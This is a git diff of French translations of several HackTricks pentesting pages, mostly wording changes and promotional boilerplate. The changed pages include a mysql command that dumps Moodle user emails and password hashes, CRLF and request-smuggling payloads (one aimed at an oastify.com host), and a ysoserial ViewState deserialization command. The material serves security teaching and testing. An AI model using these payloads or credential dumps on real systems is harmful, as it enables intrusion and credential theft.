Par exemple, pour créer un **lien symbolique** depuis un nouveau fichier "**_**froot**_**" vers "**_**/**_**"**:
|
||||
Par exemple, pour créer un **lien symbolique** à partir d'un nouveau fichier "**_**froot**_**" vers "**_**/**_**"**:
|
||||
```
|
||||
sftp> symlink / froot
|
||||
```
|
||||
|
@ -304,9 +304,9 @@ id_rsa
|
|||
* Vous pouvez trouver des guides intéressants sur la façon de renforcer SSH dans [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -38,9 +38,9 @@ Vous pouvez exposer des **servlets de gestion** via les chemins suivants dans JB
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -48,10 +48,10 @@ Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -41,51 +41,17 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
Le `moodlescan` est un outil de balayage spécialement conçu pour détecter les vulnérabilités dans les installations Moodle. Il utilise des techniques de balayage automatisées pour identifier les failles de sécurité courantes telles que les injections SQL, les failles XSS et les problèmes de configuration. L'outil peut également être utilisé pour collecter des informations sur le site Moodle cible, telles que les versions des composants, les utilisateurs et les cours.
|
||||
### moodlescan
|
||||
|
||||
#### Utilisation
|
||||
Le `moodlescan` est un outil de balayage spécialement conçu pour les tests de pénétration des sites Moodle. Il permet aux testeurs de sécurité d'identifier les vulnérabilités potentielles dans une installation Moodle et de prendre les mesures appropriées pour les corriger.
|
||||
|
||||
```
|
||||
moodlescan [options] <target>
|
||||
```
|
||||
L'outil `moodlescan` utilise une approche basée sur les plugins pour analyser les différentes fonctionnalités de Moodle, telles que les modules, les thèmes et les extensions tierces. Il effectue une série de tests automatisés pour détecter les vulnérabilités courantes, telles que les injections SQL, les failles XSS et les problèmes de configuration.
|
||||
|
||||
Les options disponibles sont les suivantes :
|
||||
Pour utiliser `moodlescan`, vous devez fournir les informations d'identification d'un compte d'administrateur Moodle valide. L'outil se connectera ensuite à l'installation Moodle cible et effectuera les tests de sécurité.
|
||||
|
||||
- `-u, --username <username>` : spécifie le nom d'utilisateur à utiliser pour l'authentification.
|
||||
- `-p, --password <password>` : spécifie le mot de passe à utiliser pour l'authentification.
|
||||
- `-t, --threads <threads>` : spécifie le nombre de threads à utiliser pour le balayage (par défaut : 10).
|
||||
- `-o, --output <output>` : spécifie le fichier de sortie pour enregistrer les résultats du balayage.
|
||||
- `-v, --verbose` : active le mode verbeux pour afficher plus d'informations pendant le balayage.
|
||||
Lorsque `moodlescan` détecte une vulnérabilité, il génère un rapport détaillé qui indique la nature de la vulnérabilité et fournit des recommandations pour la corriger. Les testeurs de sécurité peuvent utiliser ces informations pour aider les administrateurs Moodle à renforcer la sécurité de leur installation.
|
||||
|
||||
#### Exemples
|
||||
|
||||
Balayer un site Moodle sans authentification :
|
||||
|
||||
```
|
||||
moodlescan https://example.com
|
||||
```
|
||||
|
||||
Balayer un site Moodle avec authentification :
|
||||
|
||||
```
|
||||
moodlescan -u admin -p password123 https://example.com
|
||||
```
|
||||
|
||||
Balayer un site Moodle en utilisant 20 threads :
|
||||
|
||||
```
|
||||
moodlescan -t 20 https://example.com
|
||||
```
|
||||
|
||||
Enregistrer les résultats du balayage dans un fichier :
|
||||
|
||||
```
|
||||
moodlescan -o scan_results.txt https://example.com
|
||||
```
|
||||
|
||||
#### Remarques
|
||||
|
||||
Il est important de noter que l'utilisation de `moodlescan` pour balayer un site Moodle sans autorisation préalable peut être illégale et constituer une violation de la vie privée. Assurez-vous d'obtenir l'autorisation appropriée avant d'utiliser cet outil sur un site Moodle.
|
||||
Il est important de noter que `moodlescan` est un outil automatisé et qu'il ne remplace pas une évaluation manuelle approfondie de la sécurité d'une installation Moodle. Il est recommandé de combiner l'utilisation de `moodlescan` avec d'autres techniques de test de pénétration pour obtenir une évaluation complète de la sécurité de Moodle.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -145,10 +111,10 @@ CMSMap effectuera une série de tests pour identifier le CMS utilisé par le sit
|
|||
Voici un exemple d'utilisation de CMSMap :
|
||||
|
||||
```
|
||||
cmsmap -t 192.168.0.1 -u http://example.com
|
||||
cmsmap -t 192.168.1.100 -u http://example.com
|
||||
```
|
||||
|
||||
Dans cet exemple, CMSMap sera exécuté sur la cible avec l'adresse IP `192.168.0.1` et l'URL `http://example.com`. CMSMap analysera le site Web pour identifier le CMS utilisé et fournira des informations détaillées sur les plugins, les thèmes et les versions du CMS.
|
||||
Dans cet exemple, CMSMap sera exécuté sur la cible avec l'adresse IP `192.168.1.100` et l'URL `http://example.com`. CMSMap analysera le site Web pour identifier le CMS utilisé et fournira des informations détaillées sur les plugins, les thèmes et les versions du CMS.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
|
@ -198,21 +164,23 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|||
|
||||
To dump credentials from a database, you can use various techniques depending on the type of database you are targeting. Here are some common methods:
|
||||
|
||||
1. **SQL Injection**: If the web application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames and passwords stored in the database.
|
||||
1. **SQL Injection**: Exploit vulnerabilities in the application to execute arbitrary SQL queries and retrieve credentials from the database. Look for input fields that are not properly sanitized or validated.
|
||||
|
||||
2. **Brute-forcing**: If you have obtained a database dump file, you can use brute-forcing techniques to crack hashed passwords. By trying different combinations of passwords and comparing the hashes, you may be able to recover plaintext passwords.
|
||||
2. **Brute Force**: Attempt to guess or crack the passwords stored in the database by systematically trying different combinations. This method is effective if weak passwords are used.
|
||||
|
||||
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By exploiting these misconfigurations, you can gain direct access to the database and extract credentials.
|
||||
3. **Password Hash Cracking**: Retrieve the password hashes from the database and use tools like John the Ripper or Hashcat to crack them. This method requires access to the password hashes.
|
||||
|
||||
4. **Using Database Tools**: Many database management systems provide command-line tools that allow you to interact with the database. By using these tools, you can execute queries to extract credentials from the database.
|
||||
4. **Exploiting Misconfigurations**: Identify misconfigurations in the database server that may allow unauthorized access or privilege escalation. This can include weak authentication mechanisms, default credentials, or insecure permissions.
|
||||
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to extract credentials from a database. Unauthorized access to databases is illegal and unethical. Always ensure you are conducting penetration testing within the boundaries of the law and with the appropriate permissions.
|
||||
5. **Dumping Database Files**: Gain access to the underlying file system of the database server and extract the database files. These files may contain sensitive information, including credentials.
|
||||
|
||||
Remember, it is important to have proper authorization and legal permission before attempting any of these techniques. Unauthorized access to databases is illegal and unethical. Always perform penetration testing within the boundaries of the law and with the appropriate permissions.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -221,7 +189,7 @@ Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -31,7 +31,7 @@ Dans une attaque de vulnérabilité d'injection CRLF, l'attaquant insère à la
|
|||
|
||||
## Injection CRLF dans les applications web
|
||||
|
||||
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec des éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité de sécurité des applications web à impact direct. En fait, une attaque d'injection CRLF peut avoir des répercussions très graves sur une application web, même si elle n'a jamais été répertoriée dans la liste des 10 principales vulnérabilités de l'OWASP. Par exemple, il est également possible de manipuler les fichiers journaux dans un panneau d'administration, comme expliqué dans l'exemple ci-dessous.
|
||||
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec des éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité de sécurité directe de l'application web. En fait, une attaque d'injection CRLF peut avoir des répercussions très graves sur une application web, même si elle n'a jamais été répertoriée dans la liste des 10 principales vulnérabilités de l'OWASP. Par exemple, il est également possible de manipuler les fichiers journaux dans un panneau d'administration, comme expliqué dans l'exemple ci-dessous.
|
||||
|
||||
#### Un exemple d'injection CRLF dans un fichier journal
|
||||
|
||||
|
@ -145,13 +145,13 @@ Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **serveur
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Ensuite, **spécifiez une deuxième requête**. Voici une **requête classique** [**d'empoisonnement de requête**](http-request-smuggling/) avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection. Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
|
||||
Ensuite, **spécifiez une deuxième requête**. Voici une **requête d'empoisonnement classique** [**request smuggling**](http-request-smuggling/) avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection. Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
|
||||
|
||||
Spécifier un **préfixe malveillant** pour empoisonner soit la requête du prochain utilisateur, soit un cache web :
|
||||
Spécifier un **préfixe malveillant** pour empoisonner la requête du prochain utilisateur ou un cache web :
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
Ou créer notre préfixe pour le combiner avec les données inutiles finales et créer une deuxième requête complète afin de déclencher **l'empoisonnement de la file de réponses**.
|
||||
Ou créer notre préfixe pour le combiner avec les données inutiles à la fin et créer une deuxième requête complète afin de déclencher **l'empoisonnement de la file d'attente de réponse**.
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
|
@ -165,11 +165,11 @@ Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**.
|
|||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Si une plateforme prend **des données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
|
||||
Si une plateforme **prend des données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
|
||||
|
||||
Par exemple, dans la vulnérabilité découverte initialement, les clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants étaient capables d'**injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les adresses IP et les ports des attaquants aux utilisateurs dont l'adresse e-mail était inconnue de l'attaquant :
|
||||
|
||||
|
@ -177,15 +177,15 @@ De plus, les chercheurs ont également découvert qu'ils pouvaient désynchronis
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Pour obtenir toutes les informations, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/).
|
||||
**Pour obtenir toutes les informations, lisez le**[ **rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/).
|
||||
|
||||
## Impacts de la vulnérabilité d'injection CRLF
|
||||
|
||||
Les impacts des injections CRLF varient et incluent également tous les impacts de la faille de script entre sites jusqu'à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité telles que les filtres XSS et la politique de même origine dans les navigateurs de la victime, les rendant ainsi vulnérables aux attaques malveillantes.
|
||||
Les impacts des injections CRLF varient et incluent également tous les impacts de la faille de script intersite (XSS) à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité telles que les filtres XSS et la politique de même origine dans les navigateurs de la victime, les rendant ainsi vulnérables aux attaques malveillantes.
|
||||
|
||||
### Comment prévenir les injections CRLF / HTTP Header dans les applications web
|
||||
|
||||
La meilleure technique de prévention consiste à ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
|
||||
La meilleure technique de prévention consiste à ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF à l'intérieur des fonctions qui définissent les en-têtes HTTP.
|
||||
|
||||
### CHEAT SHEET
|
||||
```
|
||||
|
@ -222,7 +222,7 @@ La meilleure technique de prévention consiste à ne pas utiliser directement le
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -52,9 +52,9 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
```
|
||||
### Cas de test 1.5 - Comme le cas de test 1, mais le cookie ViewState n'est pas envoyé par le serveur
|
||||
|
||||
Les développeurs peuvent **supprimer ViewState** de devenir une partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).\
|
||||
On peut supposer que si **ViewState** n'est **pas présent**, leur implémentation est **sécurisée** contre toute vulnérabilité potentielle liée à la désérialisation de ViewState.\
|
||||
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours parvenir à une **exécution de code** comme indiqué dans le **cas 1**.
|
||||
Les développeurs peuvent **supprimer ViewState** pour qu'il ne fasse pas partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).\
|
||||
On pourrait penser que si **ViewState** n'est **pas présent**, leur implémentation est **sécurisée** contre toute vulnérabilité potentielle liée à la désérialisation de ViewState.\
|
||||
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours parvenir à une **exécution de code** comme le montre le **cas 1**.
|
||||
|
||||
### Cas de test : 2 - .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
|
@ -148,7 +148,7 @@ Alternativement, cela peut être fait en spécifiant l'option ci-dessous à l'in
|
|||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
Comme dans le cas précédent, Burp ne détecte pas si la requête est protégée par MAC car la **valeur est chiffrée**. Par conséquent, pour envoyer une **charge utile valide, l'attaquant a besoin de la clé**.
|
||||
Comme dans le cas précédent, Burp ne détecte pas si la requête est protégée par MAC car la **valeur est chiffrée**. Ainsi, pour envoyer une **charge utile valide, l'attaquant a besoin de la clé**.
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
|
||||
|
||||
|
@ -203,7 +203,7 @@ demande hors bande avec le nom d'utilisateur actuel
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
|
|
@ -5,22 +5,22 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
